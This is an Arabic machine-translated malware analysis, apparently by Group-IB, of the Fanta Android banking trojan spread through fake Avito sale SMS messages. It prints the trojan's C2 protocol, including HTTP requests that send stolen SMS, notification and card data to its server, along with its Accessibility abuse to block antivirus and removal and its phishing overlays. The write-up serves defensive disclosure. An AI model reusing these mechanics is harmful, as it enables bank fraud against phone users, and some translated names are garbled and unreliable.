Leysya، Fanta: تكتيك جديد لطروادة Android قديم

Leysya، Fanta: تكتيك جديد لطروادة Android قديم

في أحد الأيام، تريد بيع شيء ما على Avito، وبعد نشر وصف تفصيلي لمنتجك (على سبيل المثال، وحدة ذاكرة الوصول العشوائي)، ستتلقى هذه الرسالة:

Leysya، Fanta: تكتيك جديد لطروادة Android قديمبمجرد فتح الرابط، ستظهر لك صفحة تبدو غير ضارة لإعلامك، البائع السعيد والناجح، بأنه تم إجراء عملية شراء:

Leysya، Fanta: تكتيك جديد لطروادة Android قديم
بمجرد النقر فوق الزر "متابعة"، سيتم تنزيل ملف APK يحتوي على أيقونة واسم موثوق به على جهاز Android الخاص بك. لقد قمت بتثبيت تطبيق طلب لسبب ما حقوق AccessibilityService، ثم ظهرت نوافذ واختفت بسرعة و... هذا كل شيء.

تذهب للتحقق من رصيدك، ولكن لسبب ما يطلب تطبيق الخدمات المصرفية الخاص بك تفاصيل بطاقتك مرة أخرى. بعد إدخال البيانات، يحدث شيء فظيع: لسبب ما لا يزال غير واضح بالنسبة لك، تبدأ الأموال في الاختفاء من حسابك. أنت تحاول حل المشكلة، لكن هاتفك يقاوم: فهو يضغط على مفتاحي "العودة" و"الصفحة الرئيسية"، ولا ينطفئ ولا يسمح لك بتنشيط أي إجراءات أمنية. ونتيجة لذلك، بقيت بدون أموال، ولم يتم شراء بضائعك، فأنت في حيرة من أمرك وتتساءل: ماذا حدث؟

الجواب بسيط: لقد أصبحت ضحية لـ Android Trojan Fanta، وهو عضو في عائلة Flexnet. كيف حدث هذا؟ دعونا نشرح الآن.

المؤلفون: أندريه بولوفينكين، متخصص مبتدئ في تحليل البرامج الضارة، إيفان بيساريف، متخصص في تحليل البرمجيات الخبيثة.

بعض الإحصاءات

أصبحت عائلة Flexnet لأحصنة طروادة التي تعمل بنظام Android معروفة لأول مرة في عام 2015. على مدى فترة طويلة من النشاط، توسعت العائلة لتشمل عدة أنواع فرعية: فانتا، ليمبوت، ليبتون، إلخ. لا يقف فيروس طروادة، وكذلك البنية التحتية المرتبطة به، ساكنًا: يتم تطوير مخططات توزيع فعالة جديدة - في حالتنا، صفحات تصيد احتيالي عالية الجودة تستهدف مستخدمًا وبائعًا محددًا، ويتبع مطورو حصان طروادة اتجاهات عصرية في كتابة الفيروسات - إضافة وظائف جديدة تتيح سرقة الأموال بشكل أكثر كفاءة من الأجهزة المصابة وتجاوز آليات الحماية.

تستهدف الحملة الموضحة في هذه المقالة المستخدمين من روسيا، وتم تسجيل عدد صغير من الأجهزة المصابة في أوكرانيا، وعدد أقل في كازاخستان وبيلاروسيا.

على الرغم من أن Flexnet موجود في ساحة برامج طروادة لنظام Android منذ أكثر من 4 سنوات وقد تمت دراسته بالتفصيل من قبل العديد من الباحثين، إلا أنه لا يزال في حالة جيدة. بدءًا من يناير 2019، يبلغ حجم الضرر المحتمل أكثر من 35 مليون روبل - وهذا مخصص فقط للحملات في روسيا. في عام 2015، تم بيع إصدارات مختلفة من حصان طروادة Android هذا في المنتديات السرية، حيث يمكن أيضًا العثور على الكود المصدري لحصان طروادة مع وصف تفصيلي. وهذا يعني أن إحصائيات الأضرار في العالم أكثر إثارة للإعجاب. ليس مؤشرا سيئا لمثل هذا الرجل العجوز، أليس كذلك؟

Leysya، Fanta: تكتيك جديد لطروادة Android قديم

من البيع إلى الخداع

كما يتبين من لقطة الشاشة المقدمة مسبقًا لصفحة التصيد الاحتيالي الخاصة بخدمة الإنترنت لنشر إعلانات Avito، فقد تم إعدادها لضحية معينة. ومن الواضح أن المهاجمين يستخدمون أحد محللي Avito، الذي يستخرج رقم الهاتف واسم البائع، بالإضافة إلى وصف المنتج. وبعد توسيع الصفحة وإعداد ملف APK، يتم إرسال رسالة نصية قصيرة إلى الضحية تحتوي على اسمه ورابط لصفحة تصيد تحتوي على وصف منتجه والمبلغ الذي حصل عليه من “بيع” المنتج. من خلال النقر على الزر، يتلقى المستخدم ملف APK ضار - Fanta.

أظهرت دراسة للنطاق shcet491[.]ru أنه مفوض إلى خوادم DNS الخاصة بـ Hostinger:

  • ns1.hostinger.ru
  • ns2.hostinger.ru
  • ns3.hostinger.ru
  • ns4.hostinger.ru

يحتوي ملف منطقة المجال على إدخالات تشير إلى عناوين IP 31.220.23[.]236، و31.220.23[.]243، و31.220.23[.]235. ومع ذلك، يشير سجل المورد الأساسي للمجال (سجل A) إلى خادم بعنوان IP 178.132.1[.]240.

عنوان IP 178.132.1[.]240 يقع في هولندا وينتمي إلى المضيف وورلد ستريم. عناوين IP 31.220.23[.]235، 31.220.23[.]236 و31.220.23[.]243 موجودة في المملكة المتحدة وتنتمي إلى خادم الاستضافة المشترك HOSTINGER. يستخدم كمسجل openprov-ru. تم أيضًا حل المجالات التالية إلى عنوان IP 178.132.1[.]240:

  • sdelka-ru[.]ru
  • توفار-av[.]ru
  • av-tovar[.]ru
  • رو-sdelka[.]ru
  • shcet382[.]ru
  • sdelka221[.]ru
  • sdelka211[.]ru
  • vyplata437[.]ru
  • viplata291[.]ru
  • perevod273[.]ru
  • perevod901[.]ru

تجدر الإشارة إلى أن الروابط بالتنسيق التالي كانت متاحة في جميع المجالات تقريبًا:

http://(www.){0,1}<%domain%>/[0-9]{7}

يتضمن هذا القالب أيضًا رابطًا من رسالة SMS. بناءً على البيانات التاريخية، وجد أن مجالًا واحدًا يتوافق مع عدة روابط في النمط الموضح أعلاه، مما يشير إلى أنه تم استخدام نطاق واحد لتوزيع حصان طروادة على عدة ضحايا.

دعنا ننتقل إلى الأمام قليلاً: يستخدم حصان طروادة الذي تم تنزيله عبر رابط من رسالة نصية قصيرة العنوان كخادم تحكم onusedseddohap[.]club. تم تسجيل هذا النطاق بتاريخ 2019-03-12، وبدءًا من 2019-04-29، تفاعلت تطبيقات APK مع هذا النطاق. بناءً على البيانات التي تم الحصول عليها من VirusTotal، تفاعل إجمالي 109 تطبيقات مع هذا الخادم. المجال نفسه حل لعنوان IP 217.23.14 [.] 27، وتقع في هولندا ويملكها المضيف وورلد ستريم. يستخدم كمسجل namecheap. تم حل المجالات أيضًا إلى عنوان IP هذا نادي باد راكون[.] (ابتداء من 2018-09-25) و bad-racoon[.]live (ابتداء من 2018-10-25). مع المجال نادي باد راكون[.] تم التفاعل مع أكثر من 80 ملف APK bad-racoon[.]live - اكثر من 100.

بشكل عام، يتم تنفيذ الهجوم على النحو التالي:

Leysya، Fanta: تكتيك جديد لطروادة Android قديم

ماذا يوجد تحت غطاء فانتا؟

مثل العديد من أحصنة طروادة الأخرى التي تعمل بنظام Android، فإن Fanta قادر على قراءة وإرسال الرسائل النصية القصيرة، وتقديم طلبات USSD، وعرض النوافذ الخاصة به أعلى التطبيقات (بما في ذلك التطبيقات المصرفية). ومع ذلك، فقد وصلت ترسانة وظائف هذه العائلة: بدأت فانتا في الاستخدام إمكانية الوصول لأغراض مختلفة: قراءة محتويات الإشعارات من التطبيقات الأخرى، ومنع اكتشاف وإيقاف تنفيذ حصان طروادة على جهاز مصاب، وما إلى ذلك. تعمل Fanta على جميع إصدارات Android التي لا يقل إصدارها عن 4.4. في هذه المقالة سوف نلقي نظرة فاحصة على نموذج فانتا التالي:

  • MD5: 0826bd11b2c130c4c8ac137e395ac2d4
  • SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
  • SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

مباشرة بعد الإطلاق

مباشرة بعد الإطلاق، يقوم حصان طروادة بإخفاء الرمز الخاص به. لا يمكن أن يعمل التطبيق إلا إذا كان اسم الجهاز المصاب غير موجود في القائمة:

  • android_x86
  • فيرتثلبوإكس
  • نيكزس 5X (الرأس)
  • نيكزس 5 (الحلاقة)

يتم إجراء هذا الفحص في الخدمة الرئيسية لفيروس طروادة - الخدمة الرئيسية. عند التشغيل لأول مرة، تتم تهيئة معلمات تكوين التطبيق إلى القيم الافتراضية (ستتم مناقشة تنسيق تخزين بيانات التكوين ومعناها لاحقًا)، ويتم تسجيل جهاز مصاب جديد على خادم التحكم. سيتم إرسال طلب HTTP POST بنوع الرسالة إلى الخادم Register_bot ومعلومات حول الجهاز المصاب (إصدار Android وIMEI ورقم الهاتف واسم المشغل ورمز البلد الذي تم تسجيل المشغل فيه). العنوان بمثابة خادم التحكم hXXp://onuseseddohap[.]club/controller.php. رداً على ذلك، يرسل الخادم رسالة تحتوي على الحقول bot_id, bot_pwd, الخادم — يقوم التطبيق بحفظ هذه القيم كمعلمات لخادم CnC. معامل الخادم اختياري إذا لم يتم استلام الحقل: تستخدم فانتا عنوان التسجيل - hXXp://onuseseddohap[.]club/controller.php. يمكن استخدام وظيفة تغيير عنوان CnC لحل مشكلتين: توزيع الحمل بالتساوي بين عدة خوادم (إذا كان هناك عدد كبير من الأجهزة المصابة، فقد يكون الحمل على خادم ويب غير محسّن مرتفعًا)، وكذلك الاستخدام خادم بديل في حالة تعطل أحد خوادم CnC .

إذا حدث خطأ أثناء إرسال الطلب، فسيقوم حصان طروادة بتكرار عملية التسجيل بعد 20 ثانية.

بمجرد تسجيل الجهاز بنجاح، ستعرض Fanta الرسالة التالية للمستخدم:

Leysya، Fanta: تكتيك جديد لطروادة Android قديم
ملاحظة هامة: الخدمة تسمى أمن النظام — اسم خدمة طروادة، وبعد النقر على الزر حسنا سيتم فتح نافذة تحتوي على إعدادات إمكانية الوصول للجهاز المصاب، حيث يجب على المستخدم منح حقوق الوصول للخدمة الضارة:

Leysya، Fanta: تكتيك جديد لطروادة Android قديم
بمجرد تشغيل المستخدم إمكانية الوصول، تتمتع Fanta بإمكانية الوصول إلى محتويات نوافذ التطبيق والإجراءات التي يتم تنفيذها فيها:

Leysya، Fanta: تكتيك جديد لطروادة Android قديم
مباشرة بعد تلقي حقوق الوصول، يطلب حصان طروادة حقوق المسؤول وحقوق قراءة الإخطارات:

Leysya، Fanta: تكتيك جديد لطروادة Android قديم
باستخدام AccessibilityService، يحاكي التطبيق ضغطات المفاتيح، وبالتالي يمنح نفسه جميع الحقوق اللازمة.

تقوم Fanta بإنشاء مثيلات قاعدة بيانات متعددة (والتي سيتم وصفها لاحقًا) ضرورية لتخزين بيانات التكوين، بالإضافة إلى المعلومات التي تم جمعها في العملية حول الجهاز المصاب. لإرسال المعلومات التي تم جمعها، يقوم حصان طروادة بإنشاء مهمة متكررة مصممة لتنزيل الحقول من قاعدة البيانات وتلقي أمر من خادم التحكم. يتم تعيين الفاصل الزمني للوصول إلى CnC وفقًا لإصدار Android: في حالة الإصدار 5.1، سيكون الفاصل الزمني 10 ثوانٍ، وإلا 60 ثانية.

لتلقي الأمر، تقدم فانتا طلبًا GetTask إلى خادم الإدارة. ردًا على ذلك، يمكن لـ CnC إرسال أحد الأوامر التالية:

فريق وصف
0 إرسال رسالة نصية قصيرة
1 قم بإجراء مكالمة هاتفية أو أمر USSD
2 يقوم بتحديث المعلمة الفاصلة
3 يقوم بتحديث المعلمة اعتراض
6 يقوم بتحديث المعلمة com.smsManager
9 البدء في جمع الرسائل القصيرة
11 أعد ضبط هاتفك على إعدادات المصنع
12 تمكين/تعطيل تسجيل إنشاء مربع الحوار

تقوم Fanta أيضًا بجمع الإشعارات من 70 تطبيقًا مصرفيًا وأنظمة دفع سريعة ومحافظ إلكترونية وتخزينها في قاعدة بيانات.

تخزين معلمات التكوين

لتخزين معلمات التكوين، تستخدم Fanta أسلوبًا قياسيًا لمنصة Android - التفضيلات-ملفات. سيتم حفظ الإعدادات في ملف اسمه إعدادات. يوجد وصف للمعلمات المحفوظة في الجدول أدناه.

اسم القيمة الافتراضية القيم الممكنة وصف
id 0 عدد صحيح معرف البوت
الخادم hXXp://onuseseddohap[.]club/ URL عنوان خادم التحكم
الأشخاص ذوي الإعاقة - خيط كلمة مرور الخادم
الفاصلة 20 عدد صحيح الفاصل الزمني. يشير إلى المدة التي يجب تأجيل المهام التالية فيها:

  • عند إرسال طلب حول حالة رسالة SMS المرسلة
  • تلقي أمر جديد من خادم الإدارة

اعتراض من جميع الكل/رقم الهاتف إذا كان الحقل يساوي السلسلة من جميع أو رقم التليفون، فسيتم اعتراض الرسالة النصية القصيرة المستلمة بواسطة التطبيق ولن تظهر للمستخدم
com.smsManager 0 0/1 تمكين/تعطيل التطبيق باعتباره مستلم الرسائل القصيرة الافتراضي
readDialog زائف خطأ صحيح تمكين/تعطيل تسجيل الأحداث AccessibilityEvent

يستخدم Fanta أيضًا الملف com.smsManager:

اسم القيمة الافتراضية القيم الممكنة وصف
com.pckg - خيط اسم مدير الرسائل القصيرة المستخدمة

التفاعل مع قواعد البيانات

أثناء تشغيله، يستخدم حصان طروادة قاعدتي بيانات. قاعدة بيانات اسمها a تستخدم لتخزين المعلومات المختلفة التي تم جمعها من الهاتف. تم تسمية قاعدة البيانات الثانية fanta.db ويستخدم لحفظ الإعدادات المسؤولة عن إنشاء نوافذ التصيد المصممة لجمع معلومات حول البطاقات المصرفية.

طروادة يستخدم قاعدة البيانات а لتخزين المعلومات التي تم جمعها وتسجيل الإجراءات الخاصة بك. يتم تخزين البيانات في جدول الجذوع. لإنشاء جدول، استخدم استعلام SQL التالي:

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

تحتوي قاعدة البيانات على المعلومات التالية:

1. تسجيل بدء تشغيل الجهاز المصاب برسالة تم تشغيل الهاتف!

2. الإخطارات من التطبيقات. يتم إنشاء الرسالة وفقًا للنموذج التالي:

(<%App Name%>)<%Title%>: <%Notification text%>

3. بيانات البطاقة المصرفية من نماذج التصيد التي أنشأها حصان طروادة. معامل VIEW_NAME قد يكون واحدًا مما يلي:

  • ALIEXPRESS
  • Avito
  • Google Play
  • متنوع <%اسم التطبيق%>

يتم تسجيل الرسالة بالتنسيق:

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. الرسائل النصية القصيرة الواردة/الصادرة بالتنسيق:

([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>

5. معلومات حول الحزمة التي تنشئ مربع الحوار بالتنسيق:

(<%Package name%>)<%Package information%>

جدول المثال الجذوع:

Leysya، Fanta: تكتيك جديد لطروادة Android قديم
إحدى وظائف Fanta هي جمع المعلومات حول البطاقات المصرفية. يتم جمع البيانات من خلال إنشاء نوافذ التصيد عند فتح التطبيقات المصرفية. يقوم حصان طروادة بإنشاء نافذة التصيد الاحتيالي مرة واحدة فقط. يتم تخزين المعلومات التي تم عرضها على النافذة للمستخدم في جدول إعدادات في قاعدة البيانات fanta.db. لإنشاء قاعدة بيانات، استخدم استعلام SQL التالي:

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

كافة حقول الجدول إعدادات تمت تهيئته افتراضيًا على 1 (إنشاء نافذة تصيد). بعد قيام المستخدم بإدخال بياناته، سيتم تعيين القيمة إلى 0. مثال على حقول الجدول إعدادات:

  • can_login — الحقل مسؤول عن عرض النموذج عند فتح تطبيق مصرفي
  • اول بنك - غير مستعمل
  • can_avito — الحقل مسؤول عن عرض النموذج عند فتح تطبيق Avito
  • can_ali — الحقل مسؤول عن عرض النموذج عند فتح تطبيق Aliexpress
  • can_other — الحقل مسؤول عن عرض النموذج عند فتح أي تطبيق من القائمة: يولا، بانداو، دروم أوتو، المحفظة. بطاقات الخصم والمكافآت، Aviasales، Booking، Trivago
  • can_card — الحقل مسؤول عن عرض النموذج عند فتحه Google Play

التفاعل مع خادم الإدارة

يحدث تفاعل الشبكة مع خادم الإدارة عبر بروتوكول HTTP. للعمل مع الشبكة، تستخدم Fanta مكتبة Retrofit الشهيرة. يتم إرسال الطلبات إلى: hXXp://onuseseddohap[.]club/controller.php. يمكن تغيير عنوان الخادم عند التسجيل على الخادم. قد يتم إرسال ملفات تعريف الارتباط استجابةً من الخادم. تقدم Fanta الطلبات التالية إلى الخادم:

  • يتم تسجيل الروبوت على خادم التحكم مرة واحدة، عند الإطلاق لأول مرة. يتم إرسال البيانات التالية حول الجهاز المصاب إلى الخادم:
    · كوكي — ملفات تعريف الارتباط المستلمة من الخادم (القيمة الافتراضية هي سلسلة فارغة)
    · طريقة - ثابت السلسلة Register_bot
    · بادئة - عدد صحيح ثابت 2
    · version_sdk - يتم تشكيلها وفق النموذج التالي: <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(أفيت)
    · IMEI - IMEI للجهاز المصاب
    · البلد — رمز البلد الذي تم تسجيل المشغل فيه، بتنسيق ISO
    · عدد - رقم التليفون
    · عامل - اسم المشغل

    مثال على طلب تم إرساله إلى الخادم:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 144
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
    

    استجابة للطلب، يجب على الخادم إرجاع كائن JSON يحتوي على المعلمات التالية:
    · bot_id - معرف الجهاز المصاب. إذا كانت قيمة bot_id تساوي 0، فسوف تقوم Fanta بإعادة تنفيذ الطلب.
    bot_pwd - كلمة المرور للخادم.
    الخادم - عنوان خادم التحكم. المعلمة الاختيارية. إذا لم يتم تحديد المعلمة، فسيتم استخدام العنوان المحفوظ في التطبيق.

    مثال لكائن JSON:

    {
        "response":[
       	 {
       		 "bot_id": <%BOT_ID%>,
       		 "bot_pwd": <%BOT_PWD%>,
       		 "server": <%SERVER%>
       	 }
        ],
        "status":"ok"
    }

  • طلب تلقي أمر من الخادم. يتم إرسال البيانات التالية إلى الخادم:
    · كوكي - ملفات تعريف الارتباط المستلمة من الخادم
    · محاولة — معرف الجهاز المصاب الذي تم استلامه عند إرسال الطلب Register_bot
    · الأشخاص ذوي الإعاقة - كلمة المرور للخادم
    · divice_admin - يحدد الحقل ما إذا تم الحصول على حقوق المسؤول. إذا تم الحصول على حقوق المسؤول، فإن الحقل يساوي 1وإلا 0
    · إمكانية الوصول — حالة تشغيل خدمة الوصول. إذا تم بدء الخدمة، فإن القيمة هي 1وإلا 0
    · com.SMSManager - يوضح ما إذا كان حصان طروادة ممكّنًا باعتباره التطبيق الافتراضي لتلقي الرسائل القصيرة
    · شاشة - يعرض الحالة التي وصلت إليها الشاشة. سيتم تعيين القيمة 1، إذا كانت الشاشة قيد التشغيل، وإلا 0;

    مثال على طلب تم إرساله إلى الخادم:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>

    اعتمادًا على الأمر، يمكن للخادم إرجاع كائن JSON بمعلمات مختلفة:

    · فريق إرسال رسالة نصية قصيرة: تحتوي المعلمات على رقم الهاتف ونص الرسالة النصية القصيرة ومعرف الرسالة التي يتم إرسالها. يتم استخدام المعرف عند إرسال رسالة إلى الخادم بالنوع setSmsStatus.

    {
        "response":
        [
       	 {
       		 "mode": 0,
       		 "sms_number": <%SMS_NUMBER%>,
       		 "sms_text": <%SMS_TEXT%>,
       		 "sms_id": %SMS_ID%
       	 }
        ],
        "status":"ok"
    }

    · فريق قم بإجراء مكالمة هاتفية أو أمر USSD: رقم الهاتف أو الأمر يأتي في نص الاستجابة.

    {
        "response":
        [
       	 {
       		 "mode": 1,
       		 "command": <%TEL_NUMBER%>
       	 }
        ],
        "status":"ok"
    }

    · فريق تغيير معلمة الفاصل الزمني.

    {
        "response":
        [
       	 {
       		 "mode": 2,
       		 "interval": <%SECONDS%>
       	 }
        ],
        "status":"ok"
    }

    · فريق تغيير معلمة التقاطع.

    {
        "response":
        [
       	 {
       		 "mode": 3,
       		 "intercept": "all"/"telNumber"/<%ANY_STRING%>
       	 }
        ],
        "status":"ok"
    }

    · فريق تغيير حقل SmsManager.

    {
        "response":
        [
       	 {
       		 "mode": 6,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

    · فريق جمع الرسائل القصيرة من جهاز مصاب.

    {
        "response":
        [
       	 {
       		 "mode": 9
       	 }
        ],
        "status":"ok"
    }

    · فريق أعد ضبط هاتفك على إعدادات المصنع:

    {
        "response":
        [
       	 {
       		 "mode": 11
       	 }
        ],
        "status":"ok"
    }

    · فريق تغيير معلمة ReadDialog.

    {
        "response":
        [
       	 {
       		 "mode": 12,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

  • إرسال رسالة بالنوع setSmsStatus. يتم تقديم هذا الطلب بعد تنفيذ الأمر إرسال رسالة نصية قصيرة. الطلب يبدو كالتالي:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

  • تحميل محتويات قاعدة البيانات. يتم نقل صف واحد لكل طلب. يتم إرسال البيانات التالية إلى الخادم:
    · كوكي - ملفات تعريف الارتباط المستلمة من الخادم
    · طريقة - ثابت السلسلة setSaveInboxSms
    · محاولة — معرف الجهاز المصاب الذي تم استلامه عند إرسال الطلب Register_bot
    · نص — النص في سجل قاعدة البيانات الحالية (الحقل d من الطاولة الجذوع في قاعدة البيانات а)
    · عدد — اسم سجل قاعدة البيانات الحالية (الحقل p من الطاولة الجذوع في قاعدة البيانات а)
    · sms_mode - قيمة عددية (حقل m من الطاولة الجذوع في قاعدة البيانات а)

    الطلب يبدو كالتالي:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>

    إذا تم الإرسال بنجاح إلى الخادم، فسيتم حذف الصف من الجدول. مثال لكائن JSON الذي أرجعه الخادم:

    {
        "response":[],
        "status":"ok"
    }

التفاعل مع AccessibilityService

تم تنفيذ AccessibilityService لتسهيل استخدام أجهزة Android للأشخاص ذوي الإعاقة. في معظم الحالات، يكون التفاعل الجسدي مطلوبًا للتفاعل مع التطبيق. تتيح لك AccessibilityService القيام بذلك برمجيًا. وتستخدم فانتا الخدمة لإنشاء نوافذ وهمية في التطبيقات المصرفية ومنع المستخدمين من فتح إعدادات النظام وبعض التطبيقات.

وباستخدام وظيفة AccessibilityService، يراقب حصان طروادة التغييرات التي تطرأ على العناصر الموجودة على شاشة الجهاز المصاب. كما هو موضح سابقًا، تحتوي إعدادات Fanta على معلمة مسؤولة عن عمليات التسجيل باستخدام مربعات الحوار - readDialog. إذا تم تعيين هذه المعلمة، فستتم إضافة معلومات حول اسم ووصف الحزمة التي أدت إلى الحدث إلى قاعدة البيانات. يقوم حصان طروادة بتنفيذ الإجراءات التالية عند بدء الأحداث:

  • يحاكي الضغط على مفتاحي العودة والمنزل في الحالات التالية:
    · إذا أراد المستخدم إعادة تشغيل جهازه
    · إذا أراد المستخدم حذف تطبيق "Avito" أو تغيير حقوق الوصول
    · إذا كان هناك ذكر لتطبيق “Avito” في الصفحة
    · عند فتح تطبيق Google Play Protect
    · عند فتح الصفحات باستخدام إعدادات AccessibilityService
    · عندما يظهر مربع الحوار "أمان النظام".
    · عند فتح الصفحة باستخدام إعدادات "الرسم فوق تطبيق آخر".
    · عند فتح صفحة "التطبيقات"، "الاسترداد وإعادة التعيين"، "إعادة ضبط البيانات"، "إعادة ضبط الإعدادات"، "لوحة المطور"، "خاص". الفرص"، "الفرص الخاصة"، "الحقوق الخاصة"
    · إذا تم إنشاء الحدث بواسطة تطبيقات معينة.

    قائمة التطبيقات

    • الروبوت
    • ماستر لايت
    • ماستر نظيفة
    • برنامج Clean Master لوحدة المعالجة المركزية x86
    • إدارة أذونات تطبيق Meizu
    • أمان MIUI
    • Clean Master - برنامج مكافحة الفيروسات وذاكرة التخزين المؤقت ومنظف البيانات المهملة
    • أدوات الرقابة الأبوية ونظام تحديد المواقع العالمي (GPS): Kaspersky SafeKids
    • الإصدار التجريبي من Kaspersky Antivirus AppLock وأمن الويب
    • منظف ​​الفيروسات، مضاد الفيروسات، منظف (MAX Security)
    • مكافحة الفيروسات المحمول الأمن PRO
    • افاست مضاد الفيروسات والحماية المجانية 2019
    • الأمن المحمول MegaFon
    • حماية AVG لهاتف Xperia
    • تأمين الهاتف المحمول
    • برنامج Malwarebytes للحماية والحماية من الفيروسات
    • برنامج مكافحة الفيروسات للاندرويد 2019
    • Security Master - برامج مكافحة الفيروسات، VPN، AppLock، Booster
    • برنامج مكافحة الفيروسات AVG لجهاز Huawei Tablet System Manager
    • إمكانية الوصول إلى Samsung
    • مدير سامسونج الذكية
    • ماجستير الأمن
    • سرعة الداعم
    • برنامج Dr.Web
    • Dr.Web Security Space
    • مركز تحكم Dr.Web موبايل
    • Dr.Web الأمن الفضاء الحياة
    • مركز تحكم Dr.Web موبايل
    • مكافحة الفيروسات وأمن الأجهزة المحمولة
    • كاسبيرسكي لأمن الإنترنت: مكافحة الفيروسات والحماية
    • عمر بطارية Kaspersky: Saver & Booster
    • Kaspersky Endpoint Security - الحماية والإدارة
    • AVG Antivirus free 2019 – حماية لنظام Android
    • مكافحة الفيروسات الروبوت
    • نورتون موبايل الأمن ومكافحة الفيروسات
    • مكافحة الفيروسات، وجدار الحماية، VPN، وأمن الهاتف المحمول
    • أمان الهاتف المحمول: مكافحة الفيروسات، VPN، الحماية من السرقة
    • مكافحة الفيروسات لالروبوت

  • إذا تم طلب الإذن عند إرسال رسالة نصية قصيرة إلى رقم قصير، فإن Fanta يحاكي النقر فوق مربع الاختيار تذكر الاختيار والزر لإرسال.
  • عندما تحاول إزالة حقوق المسؤول من حصان طروادة، فإنه يقوم بقفل شاشة الهاتف.
  • يمنع إضافة مسؤولين جدد.
  • إذا كان تطبيق مكافحة الفيروسات دكتور ويب اكتشف تهديدًا، يقوم فانتا بتقليد الضغط على الزر يتجاهل.
  • يحاكي حصان طروادة الضغط على زر الرجوع والصفحة الرئيسية إذا تم إنشاء الحدث بواسطة التطبيق العناية بجهاز سامسونج.
  • تقوم Fanta بإنشاء نوافذ تصيد مع نماذج لإدخال معلومات حول البطاقات المصرفية في حالة إطلاق تطبيق من قائمة تضم حوالي 30 خدمة إنترنت مختلفة. من بينها: AliExpress، وBooking، وAvito، وGoogle Play Market Component، وPandao، وDrom Auto، وما إلى ذلك.

    نماذج التصيد

    تقوم Fanta بتحليل التطبيقات التي تعمل على الجهاز المصاب. إذا تم فتح تطبيق مثير للاهتمام، يعرض حصان طروادة نافذة تصيد فوق كل التطبيقات الأخرى، وهي عبارة عن نموذج لإدخال معلومات البطاقة المصرفية. يجب على المستخدم إدخال البيانات التالية:

    • رقم البطاقة
    • تاريخ انتهاء صلاحية البطاقة
    • CVV
    • اسم حامل البطاقة (ليس لجميع البنوك)

    اعتمادًا على التطبيق قيد التشغيل، سيتم عرض نوافذ تصيد مختلفة. وفيما يلي أمثلة على بعض منها:

    أليكسبريس:

    Leysya، Fanta: تكتيك جديد لطروادة Android قديم
    أفيتو:

    Leysya، Fanta: تكتيك جديد لطروادة Android قديم
    بالنسبة لبعض التطبيقات الأخرى، على سبيل المثال. سوق Google Play، Aviasales، Pandao، Booking، Trivago:
    Leysya، Fanta: تكتيك جديد لطروادة Android قديم

    كيف كان حقا

    ولحسن الحظ، تبين أن الشخص الذي تلقى الرسالة النصية القصيرة الموضحة في بداية المقال هو متخصص في الأمن السيبراني. ولذلك، فإن النسخة الحقيقية التي ليست صادرة عن مدير، تختلف عن تلك التي قيلت سابقًا: تلقى شخص رسالة نصية قصيرة مثيرة للاهتمام، وبعد ذلك سلمها إلى فريق استخبارات البحث عن التهديدات Group-IB. نتيجة الهجوم هي هذه المقالة. نهاية سعيدة، أليس كذلك؟ ومع ذلك، لا تنتهي جميع القصص بنجاح، وحتى لا تبدو قصتك وكأنها قصة مخرج مع خسارة المال، يكفي في معظم الحالات الالتزام بالقواعد التالية الموصوفة منذ فترة طويلة:

    • لا تقم بتثبيت التطبيقات لجهاز محمول يعمل بنظام التشغيل Android من أي مصادر أخرى غير Google Play
    • عند تثبيت أحد التطبيقات، انتبه بشكل خاص إلى الحقوق التي يطلبها التطبيق
    • انتبه إلى امتدادات الملفات التي تم تنزيلها
    • قم بتثبيت تحديثات نظام التشغيل Android بانتظام
    • لا تقم بزيارة الموارد المشبوهة ولا تقم بتنزيل الملفات من هناك
    • لا تنقر على الروابط الواردة في الرسائل القصيرة.

المصدر: www.habr.com

إضافة تعليق